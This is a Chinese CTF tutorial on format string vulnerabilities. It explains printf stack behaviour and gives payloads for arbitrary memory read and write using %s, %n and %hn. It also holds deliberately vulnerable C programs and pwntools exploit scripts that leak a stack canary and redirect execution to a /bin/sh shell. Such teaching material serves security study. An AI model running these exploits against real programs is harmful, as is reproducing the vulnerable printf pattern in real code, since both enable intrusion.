0x00 背景介绍
格式化字符串漏洞，虽然在现在真实的环境下已经基本绝迹了。但是在CTF中还是有很多出题点的，本文将阐述格式化字符串漏洞的成因和利用场景与方法。
未注明的情况下，本文的测试环境为Ubuntu 14.04 desktop x86-64，使用到的程序为gdb、gdb-peda、gcc、python、pwntools、socat、rp++、readelf。所有的应用都可以在《跟我入坑PWN第一章》中找到。
0x01 格式化字符串漏洞介绍
首先，我们来看看什么是格式化字符串：
包含文本的格式参数的字符串，比如"What's your name %s?"。其中，"What's your name "是文本"%s"是格式参数。
下面，我们先看一个示例。
|
1
2
3
4
5
6
7
8
|
#include<stdio.h>int main(){ char *nick_name = "WeaponX"; printf("What's your name %s?\n", nick_name); printf("What's your name %s?\n"); return 0;} |
测试环境Windows XP 32bit、VC 6.0、Win32 Release，程序输出的结果如下：
|
1
2
3
4
|
What's your name WeaponX?What's your name What's your name %s??Press any key to continue |
为什么会这样呢？我们接着往下看。在《跟我入坑PWN第一章》中可以知道，在x86中函数的参数是放在栈中的，所以在第一个printf调用时，栈中的数据是这样的。
|
1
2
3
4
5
6
7
8
|
Stackframe+------------------+| parameter1 | <- ESP (pointer to "What's your name %s\n?")+------------------+| parameter2 | <- pointer to "WeaponX"+------------------+| ... |+------------------+ |
所以，在调用printf的时候，会在%s的位置填入WeaponX，变成了"What's your name WeaponX?\n"，也就是我们看到的第一行的输出。然而，在第二个printf的时候，我们只传了一个参数，栈中的数据是这样的。
|
1
2
3
4
5
6
7
8
9
10
|
Stackframe+------------------+| parameter1 | <- ESP (pointer to "What's your name %s\n?")+------------------+| data | <- pointer to "What's your name %s\n?"+------------------+| data | <- pointer to "WeaponX"+------------------+| ... |+------------------+ |
printf期待下一个参数，而我们只传了一个参数，但是printf并不知道。会继续向高地址取四字节当成下一个参数。所以，第二个printf会把第一个printf的第一个参数也就是格式化字符串当成第二个参数来填充%s的位置，所以打印出来的结果就变成了"What's your name What's your name %s\n?\n?"，就是我们看到的内容。这就是格式化字符串漏洞的基本原理。
现在我们来看看，有什么常用的格式。
|
1
2
3
4
5
6
|
%d - 十进制 - 输出十进制整数%s - 字符串 - 从内存中读取字符串%x - 十六进制 - 输出十六进制数%c - 字符 - 输出字符%p - 指针 - 指针地址%n - 到目前为止所写的字符数 |
这里需要注意一点，%s和%x的区别，
|
1
2
3
4
5
6
|
Stackframe+------------------+| parameter1 | <- ESP (pointer to "%s" or "%x")+------------------+| 0xdeadbeef |+------------------+ |
当parameter1为%s的地址时，printf会将0xdeadbeef作为地址，取0xdeadbeef指向的字符串填入%s的位置并输出；当parameter1为%x的地址时，printf会直接将0xdeadbeef填入%x的位置，也就是直接输出0xdeadbeef。
0x02 格式化字符串漏洞利用场景
利用格式化字符串漏洞，我们可以完成任意地址读和任意地址写，下面我用一个例子来演示任意地址读和任意地址写。
|
1
2
3
4
5
6
7
8
|
#include<stdio.h>int main(){ char str[0x20]; scanf("%s", str); printf(str); return 0;} |
编译方式：
|
1
|
gcc -m32 -O0 vuln.c -o vuln |
我们先输入payload "aaaa%08x%08x%08x%08x%08x%08x%08x"看执行结果：
|
1
2
3
|
➜ ./vuln aaaa%08x%08x%08x%08x%08x%08x%08xaaaaff9d75ac0000000108048345ff9d82f20000002f0804a00061616161% |
可以看到我们的payload中有%08x，其中08是等宽输出，意思就是如果输出的长度不够8个字符则用0补充到8个字符。
我们可以看到输出结果的最后四字节是0x61616161就是aaaa对应的16进制，是我们可以控制的内容。
下面我们来看看如何用格式化字符串漏洞完成任意地址读和任意地址写：
1.任意地址读：
根据0x01中的知识，我们只需要把最后一个%08x换成%s就可以读取0x61616161地址的数据，注意这个0x61616161是我们可以控制的内容，就是我们输入的前四个字节且这四个字节就是读取的地址。所以，可以通过替换这个payload的前四个字节完成任意地址读。
这个payload也可以简化为aaaa%7$s，这里的7$的意思就是取printf的第七个参数(0x61616161)，如果这里要用等宽输出的话payload就变成这样了aaaa%7$08x，结果会输出aaaa61616161。
2.任意地址写：
我们先了解一下%n的作用。%n是将输出的字符的个数写入到内存中。
根据上述知识，当payload为aaaa%7$n时，输出的字符数量为4，程序会将4写入0x61616161指向的内存中。如果我们需要写更大的数就得用等宽输出来实现了。假设，我们需要向0x61616161写入100，则payload就变成了aaaa%7$0100n。
任意地址写还有一个问题就是，如果我们要写一个很大的数，比如要将0x8048320写入0x61616161，这个16进制对应的十进制数为134513440，也就是说需要在输出134513440个字符。不用多想，程序肯定会崩溃。
如果遇到这种情况怎么办呢？我们可以通过%hn来两字节两字节写入。在上面的例子中，我们将0x8048320拆分为高两字节0x804和低两字节0x8320，将0x804也就是十进制2052写入0x61616161 - 0x61616162；将0x8320也就是十进制33568写入0x61616163 - 0x61616164。分两次写入就可以完成大数的写入了。
0x03 相关利用场景示例
1.利用格式化字符串漏洞绕过canary
首先我们了解一下canary的机制。canary类似于windows中GS机制，普通的函数栈如下：
|
1
2
3
4
5
6
7
8
9
10
11
12
|
Stackframe+------------------+| parameter |+------------------+| local var1 |+------------------+| local var2 |+------------------+| ebp |+------------------+| return addr |+------------------+ |
如果，要利用缓冲区溢出覆盖返回地址比如要覆盖ebp。然而开启了canary后，函数栈就变成如下：
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
Stackframe+------------------+| parameter |+------------------+| local var1 |+------------------+| local var2 |+------------------+| canary | <- Random+------------------+| ebp |+------------------+| return addr |+------------------+ |
在ebp之前增加了一个不可预测的随机值并在程序中，而且在程序结尾处会检测canary是否被篡改。如果发生了缓冲区溢出覆盖了返回地址则肯定会覆盖canary，这时程序会直接退出。绕过canary肯定需要知道canary的值，但是这个值是无法预测的，所以我们需要通过内存泄漏来泄漏出canary的值。下面我们给出一个示例程序：
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
#include<stdio.h>void exploit(){ system("/bin/sh");}void func(){ char str[0x20]; read(0, str, 0x50); printf(str); read(0, str, 0x50);}int main(){ func(); return 0;} |
编译方式：
|
1
|
gcc -m32 -O0 vuln.c -o vuln |
然后，我们使用gdb中的checksec看一下程序开启的保护：
|
1
2
3
4
5
6
|
gdb-peda$ checksec CANARY : ENABLEDFORTIFY : disabledNX : ENABLEDPIE : disabledRELRO : Partial |
此时，我们需要调试程序，让程序断在printf。查找canary距离printf第一个参数有多远，函数断在printf后栈中数据如下：
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
[-------------------------------------code-------------------------------------]0x80485a8 <func+39>: call 0x8048410 <read@plt>0x80485ad <func+44>: lea eax,[ebp-0x2c]0x80485b0 <func+47>: mov DWORD PTR [esp],eax=> 0x80485b3 <func+50>: call 0x8048420 <printf@plt>0x80485b8 <func+55>: mov DWORD PTR [esp+0x8],0x500x80485c0 <func+63>: lea eax,[ebp-0x2c]0x80485c3 <func+66>: mov DWORD PTR [esp+0x4],eax0x80485c7 <func+70>: mov DWORD PTR [esp],0x0Guessed arguments:arg[0]: 0xffffcf6c ("aaaa\n")[------------------------------------stack-------------------------------------]0000| 0xffffcf50 --> 0xffffcf6c ("aaaa\n")0004| 0xffffcf54 --> 0xffffcf6c ("aaaa\n")0008| 0xffffcf58 --> 0x20 (' ')0012| 0xffffcf5c --> 0xf7eac716 (test eax,eax)0016| 0xffffcf60 --> 0xffffffff 0020| 0xffffcf64 --> 0xf7e24b34 --> 0x2910 0024| 0xffffcf68 --> 0xf7e24c34 --> 0x2aad 0028| 0xffffcf6c ("aaaa\n")[------------------------------------------------------------------------------]Legend: code, data, rodata, value0x080485b3 in func ()gdb-peda$ x/20wx 0xffffcf500xffffcf50: 0xffffcf6c 0xffffcf6c 0x00000020 0xf7eac7160xffffcf60: 0xffffffff 0xf7e24b34 0xf7e24c34 0x616161610xffffcf70: 0x0000000a 0x00000000 0xffffcfb8 0xf7e7f0df0xffffcf80: 0xf7fbf960 0x00000000 0x00002000 0xe920f9000xffffcf90: 0xf7fbfc20 0xf7ffd938 0xffffcfb8 0x08048633 |
根据canary的特点，我们判断0xe920f900为canary，地址是0xffffcf8c。距离第一个参数有60字节，也就是15个参数的长度，所以要读canary我们的payload为%15x。经过分析，我们的exploit如下，先通过格式化字符串漏洞泄漏canary，再完成利用：
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
from pwn import *elf = ELF("./vuln")io = process("./vuln")shell_addr = elf.symbols["exploit"]payload = "%15$08x"io.sendline(payload)ret = io.recv()canary = ret[:8]log.success("canary => 0x{}".format(canary))payload = "a" * 4 * 8payload += (canary.decode("hex"))[::-1] # 小端模式反转payload += "a" * 4 * 3payload += p32(shell_addr)io.send(payload)io.interactive() |
2.利用格式化字符串漏洞完成内存写
我们给出一个示例程序：
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
#include<stdio.h>#include<string.h>#include<stdlib.h>void exploit(){ system("/bin/sh");}int func(){ int *flag; char *cmp = "y"; char name[20] = {0}; flag = (char *)malloc(4); memset(flag, 0, 4); memcpy(flag, "n", 1); scanf("%s", name); printf(name); if(!strcmp(flag, cmp)) { exploit(); } return 1;}int main(){ func(); return 0;} |
可以看出，当flag的内容为y时，才能执行system("/bin/sh")，然而，flag的值总为n。这时候就需要用格式化字符串漏洞来写内存了。因为y的ascii码对应的10进制数为121，所以要打印121个字符，最终我们的exploit如下：
|
1
2
3
4
5
6
7
|
from pwn import *io = process("./vuln")elf = ELF("./vuln")shell_addr = elf.symbols["exploit"] payload = "%0121x%5$n" io.sendline(payload) io.interactive() |
最后，如果是64bit的程序，需要泄漏canary的情况下。因为x86_64的canary为8字节，所以需要两次泄漏（误），其实使用%lx就可以啦。
0x04 参考文献
http://www.secbox.cn/hacker/7482.html
http://www.freebuf.com/articles/network/62473.html
本文由 安全客 原创发布，如需转载请注明来源及本文地址。
本文地址：http://bobao.360.cn/learning/detail/3339.html
如果此文章侵权，请留言，我们进行删除。0day
文章评论